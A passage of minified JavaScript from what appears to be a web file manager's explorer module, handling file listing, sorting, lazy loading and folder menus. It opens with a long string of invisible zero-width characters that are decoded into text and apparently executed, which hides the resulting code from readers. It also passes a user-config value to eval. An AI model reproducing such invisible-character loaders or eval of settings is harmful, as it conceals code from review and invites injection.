‌‌‍‍‍‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‌‌‌‍‌‍‍‌‌‍‌‌‍‍‍‌‍‌‌‍‍‌‍‌‌‍‌‌‍‍‍‍‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‍‍‌‍‌‌‍‌‍‌‌‍‌‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‌‌‌‍‍‌‍‌‌‍‌‍‌‌‌‌‍‍‌‍‌‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‍‍‍‍‌‌‍‌‍‍‌‌‍‍‍‌‍‌‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‌‍‍‌‍‍‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‌‍‌‍‌‌‍‍‍‍‌‌‍‍‌‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‌‍‍‌‌‍‍‌‌‌‍‍‌‌‍‌‍‌‍‍‍‌‍‍‌‍‌‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‍‌‍‍‍‌‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‌‍‍‍‍‍‍‌‌‌‍‍‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‍‍‍‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‍‌‌‌‌‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),fileContent.init(),resetDesktopIcon(),ui.path.history.add(G.this_path),f5Callback(function(){resetDesktopIcon()}),bindEventView(),bindEventSort(),bindEventTheme(),bindEventTools(),bindHotKey(),bindEventMenu()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var myPicasa=new Picasa,tpl=require("./tpl/file_list_make.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),"desktop"==Config.pageApp&&ui.resetDesktopIcon(),"list_split"==G.user_config.list_type&&ui.fileListResize.bindSplitResize(),lazyLoadImage()},lazyLoadImage=function(){var e=$(".bodymain");"list_split"==G.user_config.list_type&&(e=$(".split_box").last().find(".content")),e.find(".lazyload_ready").lazyload({failure_limit:10,threshold:200,placeholder:G.static_path+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload_ready")}}).on("error",function(){var e=$(this).data("error_reload");e||($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("error_reload","reload"))})},sortBy=function(e,i){var i="down"==i?-1:1;return function(t,a){var t=t[e],a=a[e];return ui.path.pathOperate.strSort(t,a)*i}},mainSetData=function(e){var i=makeHtml(G.json_data,0,getPageNumber()-1);if("desktop"==Config.pageApp){var t="";$(".systemBox").each(function(){t+=$(this).get(0).outerHTML}),i=t+i}i=htmlListAction(G.json_data,i,!1),"list_split"==G.user_config.list_type&&(i='
    '+i+'
    '),e?$(Config.FileBoxSelector).hide().html(i).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(i),"list_split"==G.user_config.list_type&&$(".split_box").data("jsonData",G.json_data),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".splitLoadMore").live("dblclick",function(){$("#set_list").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),i=$(".bodymain .fileContinerMore");if(0==e.length)return pageLoadMax;var t=G.json_data.folderlist.length+G.json_data.filelist.length;if(i.css("top",0),pageLoadMax>t||"list_split"==G.user_config.list_type)return pageLoadMax;var e=ui.fileLight.fileListAll().last(),a=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,n=parseInt($(".fileContiner").width()/a);"icon"!=G.user_config.list_type&&(n=1);var o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(t/n)*o;return i.css("top",r),s*n},resetTotalHeight=function(){var e=".bodymain .fileContiner > .file",i=$(e).last(),t=$(".bodymain .fileContinerMore");if(0!=i.length){var a=G.json_data.folderlist.length+G.json_data.filelist.length;if(t.css("top",0),!(pageLoadMax>a||"list_split"==G.user_config.list_type)){var n=i.outerWidth()+$sizeInt(i.css("margin-right")),o=parseInt($(".fileContiner").width()/n);"icon"!=G.user_config.list_type&&(o=1);var s=i.outerHeight()+$sizeInt(i.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(a/o)*s;t.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .fileContiner > .file"),i=e.last(),t=e.length-1,a=G.json_data.folderlist.length+G.json_data.filelist.length;if(!(t>=a-1||"list_split"==G.user_config.list_type)){var n=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".fileContiner").offset().top;var r=i.outerHeight()+$sizeInt(i.css("margin-bottom")),l=s+o-r;if(l>i.offset().top){var c=l-i.offset().top,d=getPageNumber(),p=Math.ceil(c/o),u=p*d+t;u>a&&(u=a),u-t>1e3?($(".init_loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(t+1,u),$(".bodymain").scrollTop(n)},300)):loadMoreSet(t+1,u)}}},loadMoreSet=function(e,i){var t=makeHtml(G.json_data,e,i),a=$(t);a.appendTo(".fileContiner"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),$(".init_loading").hide()},makeHtml=function(e,i,t){var a=template.compile(tpl),n="",o=[];o="up"==G.user_config.list_sort_order?e.folderlist.concat(e.filelist):e.filelist.concat(e.folderlist),(!t||t>=o.length-1)&&(t=o.length-1);for(var s=i;t>=s;s++){var r="folder"==o[s].type?"_folder":"_file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.user_config.list_type+r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),n+=a(l)}return n},pathChildrenTree=function(e,i){if("string"==$.type(e))var t=$('.file[data-path="'+pathHashEncode(e)+'"]');else{var t=e;e=ui.fileLight.path(t)}if(1==t.length){var a=t.find(".children_more"),n=t.find(".children_more_cert"),o=$('.children_list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(n.toggleClass("cert_open"),o.toggleClass("hidden"),o.hasClass("child_aredy_init"))return pathListOdd(),void 0;t.addClass("loading_children"),pathGet(e,function(e){t.removeClass("loading_children");var n=makeHtml(e,0,getPageNumber()-1);""!=n&&(n=htmlListAction(e,n,!0)),o.html(n),ajaxLive(),o.addClass("child_aredy_init");var r=s+parseInt(a.css("padding-left"));o.find(".file .children_more").css("padding-left",r),pathListOdd(),"function"==typeof i&&i(e)})}},htmlListAction=function(e,i,t){if(""==i)return i='
    '+LNG.path_null+"
    ";var a=e.folderlist.concat(e.filelist);if(a.length>pageLoadMax){var n=core.pathFather(a[0].path);"list"==G.user_config.list_type&&t?i+='
    '+'
    '+''+'
    '+''+LNG.file_load_all+""+"
    "+"
    ":"list_split"==G.user_config.list_type&&(i+='
    '+'
    '+'
    '+''+LNG.file_load_all+"(to list)"+"
    "+"
    ")}return i},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,i){var t=$('.file[data-path="'+pathHashEncode(e)+'"]'),a=$(".fileList_list_split .split_box[data-path='"+pathHashEncode(e)+"']");if(0==t.length)return"function"==typeof i&&i(),void 0;if(1==a.length)return a.nextAll().remove(),"function"==typeof i&&i(),void 0;var n=t.parent().parent();pathSplitCreate(e,i,n)},pathSplitCreate=function(e,i,t){pathGet(e,function(a){if("not_exists"==a.path_read_write)return i(a);var n=makeHtml(a,0,getPageNumber()-1);if(n=htmlListAction(a,n,!0),t)if(t.nextAll(".split_box").length>0){var o=t.next(".split_box");o.attr("data-path",pathHashEncode(e)).find(".content").html(n),o.nextAll().remove()}else n='
    '+n+'
    ',$(n).insertAfter(t).data("jsonData",a);else n='
    '+n+'
    ',$(n).appendTo(".fileList_list_split").data("jsonData",a);ajaxLive(),"function"==typeof i&&i()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.user_config.list_type||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.user_config.list_type){var e=$(".child_aredy_init:visible");if(1>e.length)return;e.each(function(){var e=$(this),i=beforeListOpenArr,t=ui.fileLight.path(e,"data-path-children");beforeListOpen[t]=!1;for(var a=[t];0!=e.parents(".children_list").length;)e=e.parents(".children_list"),a.push(ui.fileLight.path(e,"data-path-children"));for(var n=a.length-1;n>=0;n--){var o=a[n];i[o]!==void 0?i=i[o]:i[o]={}}})}else if("list_split"==G.user_config.list_type){var i=beforeListOpenArr;beforeScrollerLeft=$(".html5_drag_upload_box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".fileList_list_split .split_box.split_select")),$(".fileContiner .split_box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(i[e]={},i=i[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.user_config.list_type||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("list_split"==G.user_config.list_type&&$(".fileList_list_split .split_box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,i){$.each(e,function(e,t){var a=pathChildrenTree;"list_split"==G.user_config.list_type&&(a=pathSplitCreate),a(e,function(){beforeListOpen[e]=!0,0!=Object.keys(t).length?f5AfterReload(t,i):f5AfterReloadFinished(i)})}),f5AfterReloadFinished(i)},f5AfterReloadFinished=function(e){for(var i in beforeListOpen)if(beforeListOpen[i]===!1)return;$(".html5_drag_upload_box").scrollLeft(beforeScrollerLeft),ui.path.setSelectByFilename(beforeSelectFileArr),ui.fileSelect.selectSplit(beforeListSplitSelect),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,i,t){if(void 0==e&&(e=!0),void 0==i&&(i=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.this_path,function(e){G.json_data=e,mainSetData(i),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(t),"desktop"!=Config.pageApp?ui.headerAddress.addressSet():checkRecycle()},function(){$(Config.FileBoxSelector).html("")}):(G.json_data=jsonDataSort(G.json_data),mainSetData(i),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(t)),"desktop"!=Config.pageApp){var a=G.user_id||G.sid;LocalData.set("this_path_"+a,G.this_path)}},jsonDataSort=function(e){e=jsonDatafilter(e);var i=e.folderlist,t=e.filelist;return i="size"==G.user_config.list_sort_field||"ext"==G.user_config.list_sort_field?i.sort(sortBy("name",G.user_config.list_sort_order)):i.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),t=t.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),e.folderlist=i,e.filelist=t,e},pathGet=function(e,i,t){var a="index.php?explorer/pathList&path="+urlEncode(e);G.user&&(a="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:a,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof t&&t(),!1;var a=jsonDataSort(e.data);"function"==typeof i&&i(a)},error:function(e,i,a){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,i,a),"function"==typeof t&&t()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return json_data;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var i in e)if("filelist"==i||"folderlist"==i)for(var t=0;e[i].length>t;t++){var a=e[i][t];if(a.mtime&&11>=(""+a.mtime).length)if(a.atime=date(LNG.time_type,a.atime),a.ctime=date(LNG.time_type,a.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var n=parseInt(a.num_view);n=isNaN(n)?0:n;var o=parseInt(a.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",a.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,a.mtime=s}else a.mtime=date(LNG.time_type,a.mtime);a.name=htmlEncode(a.name),a.sid&&"file"==a.type&&(a.ext=htmlEncode(core.pathExt(a.path))),pathIsShare(a.path)?a.meta_info="path_self_share":pathIsFav(a.path)&&(a.meta_info="treeFav"),"number"==typeof a.is_readable&&0==a.is_readable?a.mode="["+LNG.not_read+"] "+a.mode:"number"==typeof a.is_writeable&&1==a.is_writeable?a.mode="["+LNG.system_role_write+"] "+a.mode:"number"==typeof a.is_readable&&1==a.is_readable&&(a.mode="["+LNG.only_read+"] "+a.mode),e.info&&e.info.path_type==G.KOD_USER_RECYCLE&&trim(e.this_path,"/")==G.KOD_USER_RECYCLE&&(a.menuType="menuRecyclePath")}return e.filter_success=!0,e},jsonDataSortTitle=function(){var up='',down='';$("#main_title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main_title div[field="+G.user_config.list_sort_field+"]").addClass("this").attr("id",G.user_config.list_sort_order).find("span").html(eval(G.user_config.list_sort_order))},pathIsShare=function(e){for(var i in G.self_share)if(core.pathClear(G.self_share[i].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var i=G.fav_list;for(var t in i)if(core.pathClear(t)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:"index.php?explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var i=core.icon("recycle_full");0==e.data.folderlist.length&&0==e.data.filelist.length&&(i=core.icon("recycle")),$(".menuRecycleButton .ico").html(i)}})},pathTypeChange=function(e){if(e.info){var i=e.info,t=i.path_type,a=e.path_read_write,n="menuBodyMain menuRecycleBody menuShareBody",o=$(".html5_drag_upload_box");void 0!=a&&"writeable"!=a||t==G.KOD_USER_RECYCLE||t==G.KOD_GROUP_SHARE||t==G.KOD_USER_SHARE||t==G.KOD_USER_FAV||t==G.KOD_GROUP_ROOT_ALL||t==G.KOD_GROUP_ROOT_SELF?i.can_upload=!1:(i.can_upload=!0,1!=G.is_root&&t==G.KOD_GROUP_PATH&&"guest"==i.role&&(i.can_upload=!1)),"writeable"==a&&1==G.is_root&&(i.can_upload=!0);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];t==G.KOD_USER_RECYCLE?(o.removeClass(n).addClass("menuRecycleBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_recycle_tool").removeClass("hidden")):-1!==s.indexOf(t)?-1===core.pathClear(rtrim(G.this_path,"/")).indexOf("/")?(o.removeClass(n).addClass("menuShareBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_share_tool").removeClass("hidden"),i.id==G.user_id?($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").removeClass("hidden"),$(".menuSharePathMore").find(".remove").removeClass("hidden")):($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").addClass("hidden"),$(".menuSharePathMore").find(".remove").addClass("hidden"))):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")),currentPathMenu(e)}},currentPathMenu=function(e){var i=e.info,t=e.path_read_write,a=i.path_type,n=".createLink,.createProject,.cute,.remove,.rname,.zip,.unzip,.newfile,.newfolder,.newfileOther,.app_create,.app_install,.past,.upload,.clone",o="#download,#rename,#cute,#remove,#zip,#past,#clone,#share,#rname,#createLink,.divider",s="disable";if(i.can_upload?($("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).removeClass(s),$(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),$(".kod_path_tool").find(o).removeClass("hidden")):($(".kod_path_tool").find(o).addClass("hidden"),$(".kod_path_tool>button").addClass("disabled"),$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).addClass(s),$(".path_tips span").html(LNG.only_read),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE?($(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),a==G.KOD_USER_SHARE&&G.user_id!=i.id&&$(".kod_path_tool>button").addClass("disabled")):$(".path_tips").show()),(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE)&&G.is_root||a==G.KOD_GROUP_PATH&&"owner"==i.role){var r=e.group_space_use;if(r){var l=core.userSpaceHtml(r.size_use+"/"+r.size_max);$(".group_space_use").removeClass("hidden").html(l)}else $(".group_space_use").addClass("hidden")}else $(".group_space_use").addClass("hidden");if(e.user_space){var r=e.user_space,l=core.userSpaceHtml(r.size_use+"/"+r.size_max);$(".user_space_info").html(l)}"not_exists"==t&&($(".path_tips span").html(LNG.not_exists),$(".path_tips").show()),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE||a==G.KOD_GROUP_SHARE||a==G.KOD_GROUP_PATH?$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(".share").addClass("hidden"):$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(".share").removeClass("hidden"),1==G.is_root&&i.admin_real_path?$(".admin_real_path").removeClass("hidden"):$(".admin_real_path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,myPicasa:myPicasa,init:function(){$(window).bind("resize",function(){resetTotalHeight(),"desktop"==Config.pageApp?ui.resetDesktopIcon():ui.headerAddress.resetWidth(),"none"!=$("#PicasaView").css("display")&&myPicasa.setFrameResize()}),bindScrollLoadMore(),myPicasa.init(".picasaImage"),myPicasa.initData()}}}),define("app/src/explorer/tpl/file_list_make.html",[],"\n{{if type=='icon_folder'}}\n
    \n
    \n {{if list.ext}}\n {{list.ext |core.icon}}\n {{else}}\n {{\"folder\" |core.icon}}\n {{/if}}\n
    \n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n
    \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
    \n
    \n\n\n{{else if type=='list_folder'}}\n
    \n
    \n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n \n {{if list.isParent&&list.is_readable}}{{/if}}\n \n
    \n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
    \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
    \n
    {{LNG.folder}}
    \n
    \n
    {{list.mtime}}
    \n
    \n
    \n{{if list.isParent&&list.is_readable}}\n
    \n{{/if}}\n\n\n{{else if type=='list_split_folder'}}\n
    \n
    \n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n
    \n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
    \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n \n {{if list.is_readable && typeof(list.menuType)==\"undefined\"}}\n \n {{/if}}\n \n
    \n
    \n\n\n{{else if type=='icon_file'}}\n
    \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
    \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
    \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
    \n {{list.name.replace('.oexe','') |core.pathExt|core.icon}}\n
    \n {{else if list.content.search('ui.path.list') == 0}}\n
    \n {{list.icon |core.icon}}\n
    \n {{else}}\n
    {{\"folder\" |core.icon}}
    \n {{/if}}\n
    {{'app_link' |core.icon}}
    \n {{else}}\n
    \n {{if list.ext=='oexe'}}\n {{oexe_icon |core.iconSrc}}\n {{else}}\n {{list.ext |core.icon}}\n {{/if}}\n
    \n {{/if}}\n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n
    \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
    \n
    \n\n\n{{else if type=='list_file'}}\n
    \n
    \n \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
    \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
    \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
    \n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
    \n {{else if list.content.search('ui.path.list') == 0}}\n
    \n {{list.icon |core.icon}}\n
    \n {{else}}\n
    {{\"folder\" |core.iconSmall}}
    \n {{/if}}\n
    {{'app_link' |core.icon}}
    \n {{else}}\n
    \n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
    \n {{/if}}\n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
    \n
    {{list.ext |window.htmlEncode}} {{LNG.file}}
    \n
    {{list.size |core.fileSize}}
    \n
    {{list.mtime}}
    \n
    \n
    \n\n\n{{else if type=='list_split_file'}}\n
    \n
    \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
    \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
    \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
    \n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
    \n {{else if list.content.search('ui.path.list') == 0}}\n
    \n {{list.icon |core.icon}}\n
    \n {{else}}\n
    {{\"folder\" |core.iconSmall}}
    \n {{/if}}\n
    {{'app_link' |core.icon}}
    \n {{else}}\n
    \n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
    \n {{/if}}\n\n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
    \n
    \n{{/if}}\n\n"),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var i=e("../../common/pathOperate"),t=e("../../common/pathOpen"),a=void 0; +ui.pathOpen=t;var n=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,i,t,a){if(void 0!=e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=i&&""!=i&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var n="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),n&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),a||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return 